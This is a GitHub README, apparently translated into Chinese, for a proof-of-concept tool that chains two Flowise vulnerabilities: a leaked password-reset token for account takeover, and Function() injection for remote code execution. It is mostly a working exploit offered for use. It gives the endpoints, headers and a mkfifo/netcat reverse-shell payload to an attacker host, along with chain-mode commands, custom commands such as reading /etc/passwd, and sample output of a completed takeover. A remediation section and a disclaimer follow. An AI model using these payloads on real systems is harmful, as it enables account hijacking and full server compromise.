kartik2005221/CVE-2025-58434-AND-59528-POC

GitHub: kartik2005221/CVE-2025-58434-AND-59528-POC

一个将 Flowise 两个高危漏洞合并利用的模块化 PoC 工具,实现无需凭证的账户接管并触发远程代码执行。

Stars: 5 | Forks: 0

# Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528 ![CVE-1](https://img.shields.io/badge/CVE-2025--58434-red?style=flat-square) ![CVE-2](https://img.shields.io/badge/CVE-2025--59528-red?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS%20v3.1-9.8%20Critical-critical?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.7%2B-blue?style=flat-square) ![License](https://img.shields.io/badge/License-MIT-green?style=flat-square) ## 目录 - [概述](#overview) - [漏洞详情](#vulnerability-details) - [CVE-2025-58434 — 账户接管](#cve-2025-58434--account-takeover) - [CVE-2025-59528 — 远程代码执行](#cve-2025-59528--remote-code-execution) - [完整攻击链](#full-attack-chain) - [受影响版本](#affected-versions) - [仓库结构](#repository-structure) - [环境要求](#requirements) - [安装](#installation) - [用法](#usage) - [默认行为](#default-behaviour) - [帮助屏幕](#help-screen) - [链式模式](#chain-mode) - [模块 — ATO](#module--ato) - [模块 — 登录](#module--login) - [模块 — RCE](#module--rce) - [标志参考](#flag-reference) - [反弹 Shell 与自定义命令](#reverse-shell-vs-custom-command) - [示例输出](#example-output) - [修复措施](#remediation) - [披露时间线](#disclosure-timeline) - [参考资料](#references) - [免责声明](#disclaimer) ## 概述 本仓库将 [Flowise](https://github.com/FlowiseAI/Flowise) 中的两个 **严重** 漏洞合并为一个模块化 PoC 工具。 | | CVE-2025-58434 | CVE-2025-59528 | |---|---|---| | **类型** | 账户接管 | 远程代码执行 | | **需要身份验证** | 无 | 是(任意有效账户) | | **CVSS** | 9.8 严重 | 严重 | | **受影响** | 云端 + 自托管 | 自托管 | 这两个漏洞可以自然衔接:CVE-2025-58434 提供无需身份验证的账户接管,从而满足 CVE-2025-59528 的身份验证要求,实现**单次自动化运行即可完成无身份验证的 RCE**。 ## 漏洞详情 ### CVE-2025-58434 — 账户接管 **根本原因:** `forgot-password` 端点在 HTTP 响应体中直接返回密码重置令牌(`tempToken`),而不是仅通过电子邮件发送。 **攻击步骤:** 1. `POST /api/v1/account/forgot-password` 提交任意已注册邮箱 2. 从 JSON 响应中读取 `tempToken` —— 无需访问邮箱 3. `POST /api/v1/account/reset-password` 使用泄露的令牌 → 设置新密码 4. 以受害者身份登录 **泄露的响应(精简):** ``` { "user": { "email": "admin@example.com", "tempToken": "LEAKED_TOKEN_HERE", "tokenExpiry": "2025-08-19T13:00:33.834Z", "status": "active" } } ``` ### CVE-2025-59528 — 远程代码执行 **根本原因:** `CustomMCP` 节点将用户提供的 `mcpServerConfig` 直接传递给 JavaScript 的 `Function()` 构造函数,未进行任何清理。由于 Flowise 在 Node.js 中运行,注入的代码可以完全访问 `child_process`、`fs` 以及所有 Node.js 内置模块。 **易受攻击的代码路径:** ``` POST /api/v1/node-load-method/customMCP -> convertToValidJSONString() -> Function('return ' + mcpServerConfig)() ← unsanitized user input ``` **所需请求头:** ``` Content-Type: application/json x-request-from: internal Cookie: token=; refreshToken=; connect.sid= ``` **默认注入载荷(反弹 Shell):** ``` { "loadMethod": "listActions", "inputs": { "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})" } } ``` ## 完整攻击链 ``` Attacker Flowise API │ │ │ [CVE-2025-58434] │ │ POST /forgot-password {email} │ │─────────────────────────────────────►│ │◄─────────────────────────────────────│ │ 201 { tempToken: "abc..." } │ ← token leaked in response │ │ │ POST /reset-password │ │ {email, tempToken, newPassword} │ │─────────────────────────────────────►│ │◄─────────────────────────────────────│ │ 201 OK (tempToken cleared) │ ← ATO complete │ │ │ [CVE-2025-59528] │ │ POST /auth/login {email, newPass} │ │─────────────────────────────────────►│ │◄─────────────────────────────────────│ │ 200 OK + Set-Cookie: token=... │ ← cookies extracted │ │ │ POST /node-load-method/customMCP │ │ {mcpServerConfig: } │ │─────────────────────────────────────►│ │ [exec() fires in background] │◄─────────────────────────────────────│ │ 200 {"shell_fired"} │ │ │ Attacker's nc listener ←─────────────── Server connects back ✓ Full RCE from zero credentials ``` ## 受影响版本 | 组件 | 状态 | |---|---| | Flowise Cloud (`cloud.flowiseai.com`) | 受 CVE-2025-58434 影响 | | Flowise 自托管(补丁之前的所有版本) | 同时受两个 CVE 影响 | 请查阅 [Flowise 官方安全公告](https://github.com/FlowiseAI/Flowise/security/advisories) 获取已修补的版本号。 ## 仓库结构 ``` flowise-dual-cve-poc/ ├── flowise_poc.py # Main PoC — all modules + chain mode ├── requirements.txt # Python dependencies ├── README.md # This file └── DISCLAIMER.md # Full legal notice ``` ## 需求 - Python 3.7+ - `requests` 库 ## 安装 ``` git clone https://github.com/yourhandle/flowise-dual-cve-poc cd flowise-dual-cve-poc pip install -r requirements.txt ``` ## 用法 ### 默认行为 **无需模式标志。** 如果不带 `--chain` 或 `--module` 运行脚本,它将自动以完整链模式运行。默认的 RCE 载荷是反弹 Shell —— 只需提供 `--lhost` 和 `--lport`。 ``` # 最小化调用 — 完整链 + 反向 Shell python3 flowise_poc.py \ -u http://flowise.example.com \ -e admin@example.com \ --lhost 10.10.16.35 \ --lport 4444 ``` 在运行前启动监听器: ``` nc -lvnp 4444 ``` ### 帮助屏幕 ``` python3 flowise_poc.py -h ``` ### 链模式 从头到尾运行全部四个步骤:泄露令牌 → 重置密码 → 登录 → RCE。 ``` # 反向 Shell(默认负载) python3 flowise_poc.py --chain \ -u http://flowise.example.com \ -e admin@example.com \ --lhost 10.10.16.35 --lport 4444 # 自定义命令替代反向 Shell python3 flowise_poc.py --chain \ -u http://flowise.example.com \ -e admin@example.com \ -c "cat /etc/passwd" # 自定义 ATO 密码 + 反向 Shell python3 flowise_poc.py --chain \ -u http://flowise.example.com \ -e admin@example.com \ -p "MyCustomPass1!" \ --lhost 10.10.16.35 --lport 9001 ``` ### 模块 — ATO 泄露 `tempToken` 并重置账户密码。停止在登录/RCE 之前。 ``` # 默认新密码 python3 flowise_poc.py --module ato \ -u http://flowise.example.com \ -e victim@example.com # 自定义新密码 python3 flowise_poc.py --module ato \ -u http://flowise.example.com \ -e victim@example.com \ -p "NewPassword2025!" # 打印原始 JSON 响应 python3 flowise_poc.py --module ato \ -u http://flowise.example.com \ -e victim@example.com --json-output ``` ### 模块 — 登录 进行身份验证并提取三个会话 Cookie 以供手动使用。 ``` python3 flowise_poc.py --module login \ -u http://flowise.example.com \ -e admin@example.com \ -P "password123" # 脚本的 JSON 输出 python3 flowise_poc.py --module login \ -u http://flowise.example.com \ -e admin@example.com \ -P "password123" --json-output ``` ### 模块 — RCE 在服务器上执行。如果未提供 `--token`,则自动登录。 ``` # 反向 Shell — 自动登录 python3 flowise_poc.py --module rce \ -u http://flowise.example.com \ -e admin@example.com -P "password123" \ --lhost 10.10.16.35 --lport 4444 # 自定义命令 — 自动登录 python3 flowise_poc.py --module rce \ -u http://flowise.example.com \ -e admin@example.com -P "password123" \ -c "id" # 手动令牌 — 反向 Shell python3 flowise_poc.py --module rce \ -u http://flowise.example.com \ --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \ --lhost 10.10.16.35 --lport 4444 # 全部三个 Cookie 手动设置 python3 flowise_poc.py --module rce \ -u http://flowise.example.com \ --token "eyJhbGci..." \ --refresh-token "eyJhbGci..." \ --connect-sid "s%3A4rey2nuk..." \ -c "ls /root" ``` ## 标志参考 ### Mode(全部可选,默认是 `--chain`) | 标志 | 描述 | |---|---| | `--chain` | 完整链条:ATO → 登录 → RCE | | `--module ato` | 仅账户接管 | | `--module login` | 仅登录并提取 Cookie | | `--module rce` | 仅 RCE | ### 目标 | 标志 | 简写 | 描述 | 必需 | |---|---|---|---| | `--url` | `-u` | Flowise 实例的基础 URL | 始终 | | `--email` | `-e` | 目标 / 登录邮箱 | 始终 | ### ATO 选项 | 标志 | 简写 | 描述 | 默认 | |---|---|---|---| | `--new-password` | `-p` | 受害者账户设置的新密码 | `Flowise@Pwn3d2025!` | ### 认证选项 | 标志 | 简写 | 描述 | |---|---|---| | `--login-password` | `-P` | 登录模块 / RCE 自动登录的密码 | | `--token` | — | 手动提供 `token` Cookie(跳过登录) | | `--refresh-token` | — | 手动提供 `refreshToken` Cookie | | `--connect-sid` | — | 手动提供 `connect.sid` Cookie | ### RCE 选项 | 标志 | 简写 | 描述 | 默认 | |---|---|---|---| | `--lhost` | — | 反弹 Shell 的攻击者 IP | — | | `--lport` | — | 反弹 Shell 的攻击者端口 | — | | `--command` | `-c` | 自定义 OS 命令(覆盖反弹 Shell) | 若无 lhost/lport 则为 `id` | ### 杂项 | 标志 | 简写 | 描述 | 默认 | |---|---|---|---| | `--timeout` | `-t` | HTTP 超时(秒) | `15` | | `--json-output` | `-j` | 打印原始 JSON 响应 | `false` | ## 反向 Shell 与自定义命令 脚本自动选择正确的执行模式: | 场景 | 使用的载荷 | HTTP 行为 | |---|---|---| | `--lhost` + `--lport`(无 `-c`) | mkfifo netcat 单行命令 | `cp.exec()` — 异步,立即返回 | | `-c "..."` 包含 `nc`/`mkfifo`/`bash -i` | 检测为反弹 Shell | `cp.exec()` — 异步,立即返回 | | `-c "id"` 或任何普通命令 | 用户命令 | `cp.execSync()` — 阻塞,返回输出 | | 无 `-c` 且无 `--lhost` | `id` | `cp.execSync()` — 阻塞,返回输出 | 异步执行意味着 HTTP 请求立即完成 —— 反弹 Shell 载荷不会产生超时错误。 ## 示例输出 ``` [Step 1] [CVE-2025-58434] Requesting forgot-password token ... [*] HTTP 201 ──────────────────────────────────────────────────────────────────── LEAKED ACCOUNT DATA ──────────────────────────────────────────────────────────────────── tempToken : 28HYxS1UFqalMGMKVQeEdapifG0Mo... tokenExpiry : 2026-04-13T05:14:17.621Z ──────────────────────────────────────────────────────────────────── [+] VULNERABLE — token disclosed without authentication! [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025! [*] HTTP 201 [+] Password reset SUCCESSFUL (tempToken cleared) [+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025! [Step 3] [Auth] Logging in to extract session cookies ... [*] HTTP 200 ──────────────────────────────────────────────────────────────────── EXTRACTED SESSION COOKIES ──────────────────────────────────────────────────────────────────── token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... connect_sid : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu... ──────────────────────────────────────────────────────────────────── [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ... [*] HTTP 200 ──────────────────────────────────────────────────────────────────── RCE RESULT ──────────────────────────────────────────────────────────────────── Mode : Reverse Shell LHOST : 10.10.16.35 LPORT : 4444 [+] Reverse shell payload fired! [!] Waiting for connection on 10.10.16.35:4444 ... [!] Make sure your listener is running: nc -lvnp 4444 ──────────────────────────────────────────────────────────────────── [+] CHAIN COMPLETE ``` ## 修复 ### 针对 CVE-2025-58434 - **永远不要在 API 响应中返回令牌。** 仅通过注册邮件发送 `tempToken`。 - 返回**通用成功消息**,无论邮箱是否存在(防止枚举)。 - 使令牌**一次性使用**、短时效(≤15 分钟)并与请求上下文关联。 - 对 `forgot-password` 端点**限速**。 ### 针对 CVE-2025-59528 - **永远不要将用户输入传递给 `Function()`、`eval()` 或 `vm.runInThisContext()`。** - 将 `mcpServerConfig` 仅解析为**数据**(例如 `JSON.parse()`)——永不执行。 - 若需要动态评估,使用隔离的**沙箱**并限制上下文。 - 应用**严格的输入验证**和允许列表,仅允许指定的配置键。 ### 通用 - 修补**云端和自托管**部署。 - 启用**密码重置**与节点加载方法端点的**日志记录与告警**。 - 考虑为所有管理账户启用**MFA**。 ## 披露时间线 | 日期 | 事件 | |---|---| | 2025-08-19 | 发现并报告 CVE-2025-58434 | | TBD | 发现并报告 CVE-2025-59528 | | TBD | 厂商确认 | | TBD | 补丁发布 | | TBD | 公开披露 | ## 参考 - [GHSA-wgpv-6j63-x5ph — CVE-2025-58434](https://github.com/advisories/GHSA-wgpv-6j63-x5ph) - [GHSA-3gcm-f6qx-ff7p — CVE-2025-59528](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p) - [Flowise GitHub](https://github.com/FlowiseAI/Flowise) - [CWE-640: Weak Password Recovery Mechanism](https://cwe.mitre.org/data/definitions/640.html) - [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html) ## 免责声明 仅限**教育用途**和**授权渗透测试**。 请参阅 [DISCLAIMER.md](./DISCLAIMER.md) 获取完整法律声明。
标签:API安全, ATO, CISA项目, Critical, CVE-2025-28434, CVE-2025-59528, CVSS 9.8, Flowise, JSON输出, PoC, Python, RCE, Web安全, 修复, 协议分析, 披露, 攻击链, 无后门, 暴力破解, 权限提升, 登录模块, 编程工具, 蓝队分析, 认证绕过, 账户接管, 远程代码执行, 逆向工具